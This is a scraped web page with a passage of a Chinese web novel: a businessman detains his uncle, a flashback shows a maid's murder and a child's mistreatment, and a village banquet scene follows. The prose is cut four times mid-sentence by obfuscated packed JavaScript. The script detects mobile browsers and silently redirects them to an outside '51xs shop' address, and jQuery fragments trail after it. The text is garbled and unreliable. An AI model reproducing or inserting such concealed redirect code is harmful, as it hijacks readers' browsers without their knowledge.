35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883615|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是吗?”韩至眼睛都没眨一下。 这栋别墅周边基本上没有人,庭院里除了台阶上的二人,底下的众人大气不敢踹。 湖面上的波澜再起,看不到尽头的远处上方天气突变。 乌云相互叠着缠绕,奔腾流动,犹如一匹草原上的马。 罅隙间,偶有几束光芒倾洒下来,但是很快就被后面涌上来的云朵遮住。 空气中起了小风,天空暗下来,温度在下降。 “铛——” 江砚在空中打了个响指。 “不要紧张,”他挑眉,“我对那种地方没有兴趣。” 韩至却扭了下脖子说道:“江权清没进监狱之前私底下和我的父亲有过来往,后来坐牢了,我哥韩大也就是韩明去探视过,我知道的就这些了。” 江砚掀着眼皮看了面前的男人几秒,半晌突然道:“萧作家萧童写的那本小说,要求拍摄电影的话,男主角必须是一个叫赵柯的人,而我公司旗下的经纪人正在接触他,打算把他签到我们公司。所以,无论是版权还是男主角,我会与她说一下。” 韩至有点意外,对方竟然超出他预料的有点人性。 这种建立在平等的尊重下的“合作”,他一时间还有点不适应。 “好吧,也算是交易了。”他拿出手机,拨通某人的电话,“将那江权清带过来。” 不一会儿,别墅外响起车子的引擎声。 看来韩至这人来了一招空城计,江权清压根不在别墅里。 几个大块头的保镖率先下了车,紧接着将后座的门哐当地打开,就站在一旁。 那种架势,似乎车里的人不愿意下来,那么他们就要上手去拽了。 于是在江砚的视线里,那个五年没见的二叔下车现了身。 “我会自己走,让开!” 江权清年纪将近五十岁,但是嗓音底气还很足。 虽然经历了几年的牢狱之灾,但是他本人其实远比同龄人年轻多。 他的体型偏瘦,头发梳理得整齐,五官其实还不错,能看得出来年轻时想来也是一个帅哥,老了也不影响英俊的底色,但是这一切都被脸上的一道长疤摧毁了。 那道疤从他的左眼眼尾一直向下拉,拉到耳朵耳蜗前的一点位置,像一条扭曲的蜈蚣,很是可怖。 相反的是,他整个人气质却偏儒雅,淡蓝色的衬衫,洗旧的白色牛仔裤,脚上真皮褐色鞋子,这一身打扮,很是有老年绅士者的那味。 他眉毛先头发一步变白,抬头的瞬间,看到了不远处台阶上那个当年划他一刀的侄子。 江权清脸上看不出任何愤懑的情绪,他拄着拐杖一步一步地走近。 从他走路的姿势可以明显看到,他的有一只腿是跛的,很明显脚踝位置可能是断了重新接的。 全场所有人都没有说话,自动地让开路,视线随着这个人移动。 江权清走这几步,额头已经冒出了汗,但是他面上绷得紧,丝毫看不出费力的样子。 一直走到房子前面台阶下,他才抬头,目光看上去还挺慈爱:“小砚,好久不见了。” 57. 韩至 江砚不说话,眼神却是很凌厉,侧脸绷得很紧。 江权清温和地笑着:“你不是一直派人在找我吗?现在怎么回事?” “谁把你从监狱里捞出去的?”男人站在台阶上,俯视着他的二叔,语气冷漠。 “我犯的那点事还不足以让我待在监狱里一辈子。”江权清将身体重心都放到拐杖上,“警察都默许了,你想关我也要拿得出证据。” 这就是江砚内心一直担忧的事,他在江权清接受贿赂滥用职权的案件中动了点手段,然而能否瞒住警察是另一回事,只要外面有人和江权清搭上关系,那么他就可以让别人帮他重新犯案。 他一直派人盯着监狱,但现在看来,还是防不胜防,让他找到了韩明这一条线。 韩家过去势力可以说和江家旗鼓相当,只是近几年式微了而已。但百足之虫死而不僵,庞大的根基摆在那里,所以对方能从他的眼皮子底下把江权清弄出去。 想到此处,江砚的眼底像是藏着波涛汹涌的锋芒一般,他甚至懒得与江权清纠缠,抬起右手,在空中食指和中指向前弯曲。 动作刚停,那些黑T男立马向那个马路中央的人逼近。 “你要当众拿我!”江权清不敢相信,侄子怎么会那么大胆,“韩家人还在场,他们可以作证,你私自带走我,可是犯法的!” 男人没看旁人的人,只是淡淡地道:“你们看到了?” 韩至这个时候还挺配合,忙不迭撇清关系:“什么?江总二叔身体抱恙,不适合一直待在外面,理应由家人照顾,不是吗?” “韩至!”江权清气得狠狠将拐杖杵了一下,什么儒雅全都丢了,“当初不是你求我,我会跟你走?你不是答应我要和我一起搞垮江家嘛,你忘了当时你的承诺了吗?” 韩至向后退了点身体,挖了挖耳朵,装作没听到:“我何时说过这样的话,我一直将你好吃好喝地供养起来,算是尽一点晚辈的孝敬,奈何江叔你对我爱答不理的,问你经商之道,你还藏着掖着,很是没有意思啊。” 年逾五十的中年大叔难以置信地看着这个人,他的手上张了一些老年斑,紧紧地握着拐杖。 “韩至,”江权清尽量放轻自己的声音,“你还记得小时候是谁抱过你,是谁求你父亲给你口饭吃吗?你……当真一点恩情都不念记?” 二十多年前,韩家大宅。 一个新生儿在二楼一间昏暗的杂货间诞生到这个世界。 那是韩至——韩父和一个女佣偷*情搞下的野种。 那天,整个韩家人都待在了客厅,所有人都没有说话。 韩老爷子坐在正中央的沙发上,嘴里叼着一把纯金打造的烟枪,后仰着,架着二郎腿,烟圈一个接一个升腾上空,又一个接一个消失。 韩父坐在下方的沙发上,神色窘迫难堪,双手向前支撑在膝盖上,时不时地从指缝中瞄一眼父亲。 韩明那会儿才五岁,什么都不懂,坐在韩母的怀里很不安分,总想要下地去玩,但都被韩母严苛的眼神制止住了。 自己丈夫不老实这一点,韩母一直很清楚。 但是以前他都在外面乱搞,没想到这次还搞家里的女佣,还让人家怀了孕。 等大家发现异常时,那个女佣已经将近要临盆的时候了,一直以来藏得太好,以至于情愿相信她口中所说的——孩子是她男朋友的,也没有人怀疑是韩父的。 直到家中保姆撞破他们偷情,这一下,所有的线索便连接到一起。 女佣声称自己有男朋友,但是韩家上下那么多的人无一人见过他,再者,韩父总是会额外地关注女佣,有些时候甚至当着其他佣人的面与其眉来眼去。 韩母对自己的丈夫虽然早已经失望透极,但还是被他这种行为搞得恶心想吐。 韩父是个多情的人,年轻时就常流连于酒吧夜总会,身边女友频繁地更换,后来是韩老爷子用强制的手段把他拴在家里,给他娶了新妇,有了家庭后,他安分了一段时间。结果韩明一岁的时候,他还是管不住下半身,去约会美女。 韩母伤心的次数多了,渐渐地也习惯了,甚至后面发展成二人各玩各的,互不干预。但前提是,谁也不能再有孩子,她必须保证自己的儿子韩明是韩家企业未来的唯一继承人。 此刻,二楼传来的婴儿的啼哭声,让这个当过母亲的贵妇心中长出了棱刺。 一个保姆抱着襁褓急匆匆地下楼,径直走到韩老爷子跟前,放慢声音说:“是儿子,老爷。” 韩父瞥了一眼就耸肩移开了视线,他的神情完全不像一位父亲有了儿子般欣喜、激动,而是尴尬中带着隐隐的嫌弃。 韩老爷子闻言,抖了抖烟枪,眼都没抬一下,轻描淡写道:“留下来。” 漠不关心的韩父一下瞪大眼睛,韩母的指甲掐进了大腿。 “爸……”韩父面上带着讨好的笑,“您这时何意?” 韩老爷子没理会他,只是低头吸着烟,问保姆:“那个女人怎么样?” “还活着。”保姆弓着腰,始终不敢站直说话。 老人动作神情都未变:“处理掉。” “爸!”这会儿韩父是真急了。 韩老爷子眼神都没给他一个,倒是一旁的韩母讥讽地笑着:“怎么?舍不得?” 韩父站起来,目光不善地看向自己的妻子:“我知道我对不起你,但那是一条活生生的命!” “噗嗤——” 男人身体僵住,扭头看韩老爷子。 老人的眉间有一颗黑痣,这会儿才抬眼看向自己这个不成器的儿子,像是笑又像是笑里藏刀:“你过去弄死无辜的人有多少,自己数过吗?” 韩父没有说话了。 韩母掐着大腿的手松了松。 不一会儿得到指令的管家上了二楼,拖着一个没有心跳呼吸的尸体下了楼。 韩父一直很惧怕自己的父亲,但是在此时此刻,他已经完全顾不了这些了,慌不迭地跑了过去。 “你放手!” 他把管家往一边狠狠地推搡开,然后伸手抱住脸色苍白的女人。 感受着怀里人的体温,韩父不可置信地伸手在她的鼻端。 “哐当——”带着人跪坐在地上。 女人脖颈有一道鲜红的手掌印。 她被勒死了。 这个可怜的女佣生命画上了句号,而韩至从降生到这个世界的那天也就意味着那是母亲的忌日。 但是他对这个自己一眼未见的母亲毫无留恋,他把更多的心思花在了如何在这个家庭中生存下去。 上有父亲的漠不关心,下有韩明的母亲处处针对,比起小孩子韩明的那一些手段,他的母亲才是真正的狠角色。 虽然看上去已经不经事的韩老爷子留下了他这条命,但是奇怪的是,他并没有给到韩明该有的庇佑。 不过好在看在韩老爷子的份上,韩母不至于把他弄死。 然而无论是在学业上还是工作上,她都完全是把小韩至当一个游手好闲的公子哥培养的。 于是韩至就顺势而为扮猪吃虎,甚至常常做一些脑子不灵光的表现,借此瞒过了很多人的眼睛,才能成功长大。 至此他不依靠任何一个人,所有的一切都是他一步一步忍耐努力获得来的…… 至于江权清所说的—— 韩至只有一点印象。 那件事源于一个冬天,七岁的小韩至放学回到家后,只因进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913869|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门时不小心撞到了正好要出门的韩母一下,对方便大发雷霆。 不仅狠狠地扇了他一巴掌,还罚他跪在别墅的院落里,直到他气消了为止。 已入寒冬,整个世界银装素裹。 地面上都结了一层厚厚的冰,韩至几乎没有任何抵抗或者说他只能顺从地跪到了外面。 那天雪下得很大,不一会儿落满了他的肩头。 细小的膝盖冰得生疼。 他中午没有吃饭,回到家已是饥饿至极。 此时此刻,胃开始灼烧,痉挛成一片。 别墅外廊道的灯亮了起来。 小韩至恍惚中发现,原来已经天黑了。 他的眼中一片雪白,什么都看不清,只听到牙齿的打颤声。 韩母出门时穿着一身貂,可能是与好姐妹进行一场茶话会,一直到晚上九点都未曾归来。 而经过他身边的韩老爷子还有他的亲生父亲,皆是视他为空气。 于是没有接到任何指示的佣人们便不敢私自将他带回房间。 耳朵里的声音渐渐如潮水般褪去,整个世界发生翻转,晕倒过去之前,他看到有人朝他奔跑而来。 江权清今天晚上过来拜访好友,经过院落时,看到了一个跪在雪地里的孩子。 年轻时的他已经很有文雅的气质了,瞥了一眼人后进门就与韩父说起了此事。 “韩哥,那孩子是犯了什么错吗?怎么罚他在外面跪着?” 韩父像是不想回答这个问题:“我也不知道。” 江权清十分震惊,语气惊讶:“你不知道为什么要让他待在雪地里呢?这样的天气别说小孩子,就是成年人待上片刻,身体也会被冻坏的。” 话音刚落,他就想急匆匆地去抱孩子进屋。 “别装了,权清。”韩父摸着牌。 江权清停下步伐。 “你什么意思?”他扭头。 韩父呵呵一笑:“咱俩多久的交情了?” 他指了指人,“我还不了解你?” 江权清有一刹那脸色有点难看,他又看了一眼院落中的孩子,收回视线道:“有多了解我?” “反正做善事什么的,绝对不是你江权清的风格。” “……”江权清不置可否。 见人傻站着,韩父招呼他。 “干嘛啊?赶紧过来,牌已经洗好了。” “我今天突然挺想做件善事的。”江权清嘴角勾着。 “发什么神经!”韩父耐心告罄。 他见好友转身真的要去外面,声音大了些:“我管你在算计什么,但是今天……你最好不要动歪心思!” 那个背影充耳不闻,踏进了雪夜。 后来所有人包括韩至,在了解到江权清真实的性格以后,都认为他是在利用这种“雪中送炭”的行为收买人心。 毕竟他这样的行为不止对韩至一人,对同学对同事都是一副好心肠的样子。 所以这些人中,哪怕在听到江权清安排他去做某些黑手段的事情后,还是会对他忠心耿耿。 这些事实摆在成年的韩至面前,只觉得小时候把江权清看作一道光的存在实在可笑。 想到此处,站在台阶上的韩至顿时了然无味。 “应该有吧。”他撩了一把额前的碎发,语气挺无所谓的。 江权清激动地上前一步:“是吧,当年要是没有我,就不会有今天的你。前几天是江叔我的不对,接下来你要问什么,我都会教给你的。” “啊,”韩至笑,“现在你还在算计我吗?” “什么现在?”江权清神色看上去很惊愕,“我承认我过去利用过很多人,但我当时对你绝非算计!” 58. 跟我进去 “哦。”男人垂着眼皮应了一句。 看到他的表情,江权清才恍惚中明白了什么。 “小至,你听我说,”江权清急了,“这些年你真是误会江叔我了。我想现在你也应该知道,就是我并非江老爷子的亲生儿子,只是他从福利院领养的一个孩子。你知道吗?” 他说到此处,似乎是感到难过:“我很懂寄人篱下,看别人眼色生活的那种小心翼翼的感受,所以……我真的只是在做一件善事。” 韩至看着他,眼睛里看不出情绪。 江权清温和地笑起来,神情中竟然有了释然的意味:“好吧,这些都不重要了。” 他调转目光,看向自己的侄子。 “小砚,你小时候二叔我对你一直也很不错吧,虽然我做错了一些事情,但我从未想过要谋害爸爸和你。” 江砚面不改色:“说完了吗?” “……”江权清一噎,“说完了。” “带走!”男人沉声说道。 江权清不再挣扎,任由那些高大凶猛的黑T男将自己驾着进入了越野车。 见人成功抓到,江砚一直握着的手才松开。对着身旁的韩至简明扼要地说了句: “你最好不要信他的鬼话。” 说完也不理会身后人的表情,径直带人离开了别墅。 天光晦暗,模糊了台阶上独自站着的人神情。 …… 韩老伯的孙子满月宴到了,《种田吧》五个嘉宾脱下带泥巴的、脏兮兮的衣服,总算可以干干净净地做回一个人的模样。 农村里办酒席总是会很热闹。 去的路上零零总总碰到了好几伙人,都是外地来的亲戚。 随着越发靠近韩老伯家,人们的喧闹声便越发清晰入耳。 在那一棵苹果树下搭建了一个临时的大厨房,院落里外满满当当地挤满了人。 很多都是自愿来帮忙的,带着清一色的花边围裙,五颜六色的袖套,个个脸上洋溢着微笑,谈笑间很是淳朴自然,半点不见扭捏。 程三好走在最前面,其他人跟小鸭子一般排成一队跟在她的身后。 哪怕社牛如肖乐保,此时此刻面对乡亲们善意的目光,还是不由得拘谨。 远远瞧见了人群堆中笑得开怀的韩老伯,程三好走上前打了一声招呼。 “恭喜爷爷的孙子满月。” “来了?来了就好!”韩老伯高兴地直拍掌。 今天他穿着一身崭新的黑色中山装,人显得非常精神。 他说这话的同时瞥了一眼女生的背后,只看见了肖乐保他们几个人。当即疑惑开口:“只有你们几个人吗?不是说其他的人也可以来?” “爷爷您误会了,我们导演他们还有点事儿,待会儿肯定会来。” “原来是这样,不说这些啦,你们尽管吃好喝好,爷爷我就很开心!” 农村农家开席一般是在下午四点过,现在时间还没有到,程三好给身后的五个人每人抓了一把瓜子,让他们磕着。 到底是因为不熟悉,几个人很明显安静了很多。 程三好挑眉:“放轻松各位,你们太紧张了。” 肖乐保的牙齿宛若什么机器一样咔嚓咔嚓将一碰瓜子很快吃完。 “就是有点别扭。”他说。 “变扭什么?”程三好问他。 “我们于韩老伯来说非亲非故的,这样来蹭饭吃,不大好吧?” 肖乐保平时挺直男的,但也不是什么场合都能大大咧咧的。 韩小希有过几年的农村生活经验,接过话头说:“别看农村人穷,但是在好客这一件事上从不含糊。不管哪一家办酒席,哪怕你没带礼金,不是亲人,只要你肚子饿或者口渴都可以上桌吃饭。” “这么好啊。”肖乐保惊奇。 几人围着在一个房檐下的角落说着话。 尽管他们穿的已经很低调了,再加上录制节目这一段时间,每个人或多或少都晒得有点黑。但周身的气质还是让其他人注意到了他们。 有个大娘啃着一个鸡爪靠近了他们,眼睛却只看着肖乐保。 笑容很和蔼:“小伙子,我看你长得俊俏,有没有女朋友撒?” 其他人顿时看好戏一般盯着肖乐保。 男生挠了挠头,说:“还没有呢,大娘。” “哦,那你想不想有一个啊?” 肖乐保听出了她的话内之音,连忙稳住心态说:“大娘你不懂,如今这个社会的人是越来越卷了,只有在保证自己事业稳定下才敢去追求幸福。而我如今显然还没有把事业搞好,所以说就不耽搁人家姑娘了。” “哎,瞧你这话说的,”大娘不认同地斜睨了他一眼,“有了女朋友也不会耽搁你什么啊,反而会贴心地帮你打扫家务,晾晒衣服等琐事,在你有烦恼的时候,好歹有一个人可以为你分担分担不是吗?” 肖乐保强行笑笑,目光瞥向自己的大哥。 程三好轻飘飘地扭过头。 肖乐保又看向另外几个人…… 就见那些他的好朋友们具是不到片刻移开了视线。 看到许琪时,对方低下头,也没有说话。 肖男士笑容逐渐灿烂,内心却犹如火山喷发,面目狰狞。 这帮不讲仗义的家伙! 偏偏语气还得十分友好地与那位大娘说:“其实是这样的,我认为爱情这种东西是讲究缘分的。有一天那个缘到了,可能你要等的人自然而然就出现了,强求是得不到幸福的。” 大娘这下听出了对方委婉拒绝之意,略作挣扎:“我的女儿长得很漂亮,现在是一位在实习医生,如果你感兴趣的话,我可以撮合撮合你们。” 肖乐保摇了摇头,只是道:“不了,鄙人脸长得是可以,但性格委实差劲,所以就更不能加害你的好女儿了。” “那可以加个联系方式啥。” “我真的很谢谢大娘你的赏识,但我现在的确是没有那个心思。” “好吧。”大娘看上去当真是很满意肖乐保,但人家都说到这个份上了,她也不好再强求。 人一离开,韩小希就绷不住般发出了一声大笑,模仿着刚才肖乐保的语气说:“爱情~是由缘分决定的,当那个缘~到来的一天……” 她绘声绘色,惟妙惟肖地表演着,把几人逗得不行,肖乐保更是难得羞耻地捂住耳朵不想听。 就在这时,院子外面的小道上突然鞭炮齐鸣响了起来,火花迸溅,青烟袅袅——开席的时间到了。 程三好带着他们几个去到一张露天的桌子上坐好,看着上来的一道道美食,肖乐保惊叹的靠了一声:“这也太丰盛了吧!” 他的眼睛很亮,不停地吞咽唾沫。 程三好拆了一次性筷子,闻言只是道:“赶紧吃吧,等菜上齐说不定前面的菜都被人一扫而空了。” 肖乐保便不再多言,低下头大块耳颐。 一张圆桌上最多坐十人,堂屋里已经摆了四张桌子,显然是不够的。所以又在外边的庭院里再摆了四张,皆座无虚席,可见其热闹。 程三好他们所在的位置比较偏堂屋前,为了吃这一顿饭,大家中午都没吃,就留着肚子来饱餐一顿。 “我靠!好帅!” “这是韩老伯家的什么人啊?” “走错了吗?” “那个人也太帅了吧!” 前方桌子处突然人声喧闹起来,氛围躁动。 程三好随意抬头瞥了一眼,当即愣住。 只见两排桌子中间空出的道路上,迎面走来十几个穿着不菲的人,为首的正是江砚。 长身玉立,肩宽腿长。 周身的气质与乡村背景完全不符,身后跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941782|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着江邱张导等人也衬得气势上凌厉了几分。 恍惚间,像是一群什么组织。 肖乐保看得啧啧称奇:“这个排场被他装到了。” 男人今天少见地没有穿着西装三件套,而是上身一件灰色衬衫,下身一条有点修身的黑色牛仔裤。 袖子被掖到肘间,衬衫下摆塞进了裤子。 腰细腿长,有种编制人员般又正又帅的性感。 程三好心情感觉怪怪的,刚要低头,就见江砚隔着人海准确无误地向她投来了目光,定定地看了她一眼。 有点不自然地收回视线,女生没有笑,只是垂眸夹着眼前一盘的花生米,耳朵却像是有自己的想法,竖直了听着那边的动静。 韩老伯生平从未见过这么大的场面,也从未见过这般强盛的男人。 他搓了搓手中的汗,上前几步,神色局促说:“你们……你们这是?” “哈哈,韩大哥,我们就是村口那边正在录制综艺的节目组,收到你的邀约,所以前来恭贺你孙子满月。”张导主动上前解释。 “原来如此,原来如此,快快,屋里坐!”他招呼人往客厅里坐,显然给足了好的待遇。 张导自小是从农村长大的,所以很是游刃有余的处理这些场面。 他说:“不用了,韩大哥,你就去忙吧。待会儿第一轮的客人下来后,我带着我们的工作人员随便上桌同大家一起吃喝,这样才有种来参加酒席的感觉是不是?” 韩老伯有点犹豫,主要是见为首的那个男人却是太过与众不同,生怕自己怠慢了别人。 张导拍了拍他的肩膀:“韩大哥能邀约我们来,已是我们的荣幸,怎好再劳烦你?你不要紧张,大家在这样的日子里,就应该喜气洋洋的对不对!” “对,对。”韩老伯听人这么说,也没了顾虑,“那你们待会儿可不要客气,吃完后可以留下来一起欣赏晚上的烟花。” “那就更好了,多谢韩大哥!” 韩老伯感受着宾客们频频投来的视线,内心惶恐地摆了摆手,余光里看到堂屋里的第一批人已经陆陆续续吃完下桌。 “他们已经在撤桌了,张导你们快请进。” “哎,来的好不如来的巧,看来我们还是有点运气在身上的是吧哈哈。” 张导说话时总是有意无意地看身旁男人的脸色,韩老伯更加局促,猛点头:“对对对,这位……” 见他卡顿,张导急忙说:“叫江总就好。” “好,江总,江总好。”他语言系统已经瘫痪,压根不敢与男人对视。 了解到情况赶来韩老伯儿子见自家老爹这幅模样,笑着对贵客无奈说道:“老头子平时不这样,各位见笑了。” 他说完,见那位身高呈碾压趋势的男人对着他点了下头。 韩老伯的儿子在大城市里安了家,还考了个事业单位,人戴着眼镜还挺斯文。 他见过很多有钱人,但像这般有钱又有势还有礼貌的,倒是让他不禁心生佩服。 于是他语气更诚恳了:“里面请。” 说着他让开身体,前面的人也不知为什么自动把路腾出来。 张导刻意放慢脚步,跟在江砚身后往前走去。 行至堂屋前,突然见人停了下来。 于是节目组的人便跟着停下来,无一人敢催。 江砚目视前方,倏地嘴角扬起个笑。 “程三好。” 众人疑惑,面面相觑,不知其意。 “跟我进去。”身体未动,视线依旧。 大家这下明白了,原来这个男人是在与人说话,纷纷伸长脖颈想一探究竟。 而此刻,种田吧小组人员也淡定不了一点,个个神情惊讶,将视线都汇集到低头吃饭的女生身上。 韩小希见她半点反应都没有,刚想出声提醒,女生就站起来了。 59. 手疼吗 “我还没有吃饱。”程三好的位置刚好与江砚相对,抬眼就可以看到他。 男人终于转过视线,不过他身体依旧没动,只是头向左侧微微歪着:“我有事要问你,我们可以边吃边聊。” 众目睽睽之下,光天化日,俊男靓女互相对视。 两人俱是姿色不凡,画面一时亮眼极了。 埋头吃饭的大家伙儿顿觉碗中饭菜不香,都抬头往这里看来。 程三好顿时感觉脸被很多道如有实质的针芒微微刺激着,她性子低调,极其不喜欢被人注视着,所以为了减少麻烦,她向后退了一步,将凳子移开,径直走向男人。 江砚等女生一直到了自己的身侧,才开始迈动步伐与她并肩拾阶而上。 两人向前走去,身后的节目组的人亦步亦趋紧跟其上,过道上长长的一排人渐渐消失在眼前,宾客们才收回视线专注到饭桌的话题上。 韩小希人整个已经懵了,她低声说道:“三好与那个男人何时那么熟的啊?就我所知,那人可是华映娱乐的老板。” 肖乐保与她对视着,嘴角微微抽搐,有点不服气:“我也不知道什么时候对方把咱们的大哥勾搭走了。” “说什么勾搭不勾搭的。”韩小希嘴角上扬,眼睛放光,“该说不说那江总真是清隽雅痞,帅气十足啊,简直就是男人中的极品!” “你们女生就这么肤浅的吗?”肖乐保震惊,“你就不怕大哥被人骗了?” 韩小希的笑僵持在脸上,问他:“怎么?你了解那个男人?他很坏吗?” 肖乐保沉默,半晌才吐出一句话:“就是听我的父母说过,说是那人性子阴晴不定,手段毒辣,唯利是图,总之不是一个好人。” “还有啊,”男生突然倾身向前,刻意压低了声音,“前几天我上网看到了一则旧闻,听说那人连自己的亲二叔也敢砍,不禁打断了他的腿,还让人秘密监视他。我一直是不太信那些传闻的,但是这条新闻让我对这个人心里有所改观,人怕是远没有我们看上去的那么简单。” 韩小希被他说得整个人已经从一个得知好友有了暧昧对象的惊喜,转变为发现朋友的暧昧对象是个坏蛋时的担忧。 她哐当的站起身,语气焦急:“我这就去把她带回来。” 说着就真的要去抓人,肖乐保及时拉住她,竖着食指在嘴边嘘、嘘了几声。 “先不要着急,别人在看我们呢。” 韩小希眼光一扫,见桌子上的其他人皆是一脸茫然地看着她,就像看一个傻子的眼神。 她有点尴尬,顺着肖乐保的力道重新坐下。 “我觉得我们还是要相信大哥的,待会儿等人散的差不多了,私底下我们与她说清楚便好,她绝对不是那种恋爱脑的人。”肖乐保抽过一张纸巾递给韩小希,示意她擦擦衣袖上的油污。 几人安静下来没有说话,这时突然响起一道女声: “传闻是传闻,谣言是谣言,他们终究只是外人或者媒体编撰的,而事实如何,不应该要在充分了解本人的情况下才做定论吗?” 韩小希抬头,见是许琪。 女孩子少见地神情恼怒,语气压着强烈的不爽:“你们根本不知道表哥父母去世后的那段时间,他是怎么熬过来的……” 她才说出几句话,就已经有点哽咽,似是十分委屈。 肖乐保却关注点清奇:“你说什么?江砚是你表哥?” 他知道许琪的家世不凡,但从来没想过竟是与津市江家是亲戚。 “是又如何?”许琪显然还在生气,“哪怕你们说我是在帮着自家人替他说好话我也认了,但是我表哥绝对不是外界所传闻的那样!” 一直没有说话的赵柯冷不丁的来了一句:“那他是怎样?” 许琪一时想不出具体的形容词,只是道:“其实我与表哥他并不亲近,甚至在过去的时光里,我是处在一个很畏惧他的一个阶段。因为他本人冷冷清清的,也不会顺着我的话说,还很我行我素,没少让我生气。” “但是他人又很好,谁欺负我,他就帮我出头;我爸妈工作上遇到困难,他也毫不犹豫地伸出援手……他人的确挺混蛋的,但是对自己在乎的人好得也没话说。” 圆桌上的人不知何时已经零零散散地离开了,只剩下他们四个。 直到有人来催促下桌,韩小希才回过神一般拉着许琪的胳膊站起来。 “走吧,这里不宜久待,我们去一个空旷一点的地方。” 五人没走几步,许琪突然停下步子。 其他几个人疑惑地扭头看她,就见许公主脱口而出道:“不过我表哥他是一个混账,完全不懂得怜香惜玉,对女人更是退避三舍。所以我还是挺支持你们的,就是不要让三好与他好上,他那种人就适合寡一辈子。” 三人没想到刚才怎么还在打抱不平的人怎么突然之间就变卦了。 像是知道他们此时正在想什么,许琪略微嫌弃道:“因为三好姐非常的优秀,我才不想让她余生跟一个冷冰冰的人过一辈子,想想就无趣,可能时不时还要被他毒舌几句,他那个人很腹黑的,根本不会照顾女孩子。” “既然你都这么说了,看来回头我得跟三好通个气,免得到时候她越陷越深,最后受了伤。”韩小希说道。 肖乐保搭着赵柯的肩膀,也跟着小鸡似的点头说:“有道理,我大哥如此貌美如花,胆识、聪慧样样都是极好的,找的男人虽说在金钱地位上比不上江砚,只要人老实,会听我大哥的话就行。” “是吧,赵柯?”他说着还要寻求男生的意见。 赵柯的肩膀沉甸甸的,他也没有推开,只是嗯了一声,看不出喜乐。 另一边的程三好并不知朋友们的交谈,边和江砚一起往前走,边问他:“你怎么来了?” “我为什么不能来?”江砚反问。 “江总日理万机,吃的都是山珍海味,住的都是豪华别墅,所以说,这种地方你不习惯吧。” 里面的人在往外出,外面的人想进去,江砚被人群挤得有点喘不过气,也没忘回答她说:“习惯,很习惯。” 两人已经被挤开了,程三好离他就一个人的距离。 听到此话,扭头看后方的人。 见他微微皱眉,强忍不适;见他挣扎向前,嘴硬依旧。 女生心里感到好笑,刻意停下步子,等前面的一个人出去,才抓住空隙去拉住男人的手,带着他往房间深处走去,径直到一张圆桌前才松了手。 这张桌子上已经坐满了八个人,刚好只剩下两个座位。于是她拉过一个凳子示意他坐下,然后自己才最后一个落座。 房间人多不免喧哗,整个耳朵里都是嗡嗡的声音。 程三好坐的位置正好就是过道旁边,别人上菜端菜时都要经过她身旁。 这个位置是吃酒席最糟糕的,但毕竟别人先来,肯定把好位置都选了。 她倒是没怎么多想,将手搭在桌子上,撑着下巴,扭头看了一眼右边的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976533|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “怎么样?”见他神情,程三好问。 “不怎么样。”男人语气平淡。 女生乐了,眼角弯着:“下次还想来吗?” 缓过神的江砚啧了一声,有点不解:“我怎么感觉你一直在赶我走。” “是的,你的感觉没错。”程三好说道。 男人见她心情不错,也没生气:“为什么不欢迎我来?” 程三好将一次性碗筷放到他的面前,没看人:“因为我怕你不习——” “让一让,让一让!”背后突然响起这个声音,女生急忙往江砚的位置偏了偏。 等上菜的人把菜从盘子里端出来,放到圆桌上离开以后,她才坐正身体。 “惯。”她说完最后一个字。 男人鼻息间恍惚还留存着女生的味道。 微甜,清爽的橙子味。 他琢磨着,视线下方倏而伸过来一双秀气的手。 大腿外侧隐隐传来一点轻微的痒意,这点小触碰却惊得他猝不及防身体往后仰了一仰。 男人的反应有点大,被程三好注意到。 “怎么了?”她疑惑。 “你在干什么?”男人竟有些咬牙切齿。 “啊,”程三好解释,“这张白膜覆盖在圆桌上,我看它在我们这一面的长度剩余还挺多的,就把它捋直了盖在我们的腿上,这样吃东西的时候,哪怕不小心滴油,也不会脏了衣物。” 她说完男人迟迟没有给她回应,于是女生扭头。 坐得过分笔直的男人耳垂红得像滴血,微微背着她,下颌骨清晰地划出一条线。 她更疑惑了,心想自己这个动作冒犯到他了吗? 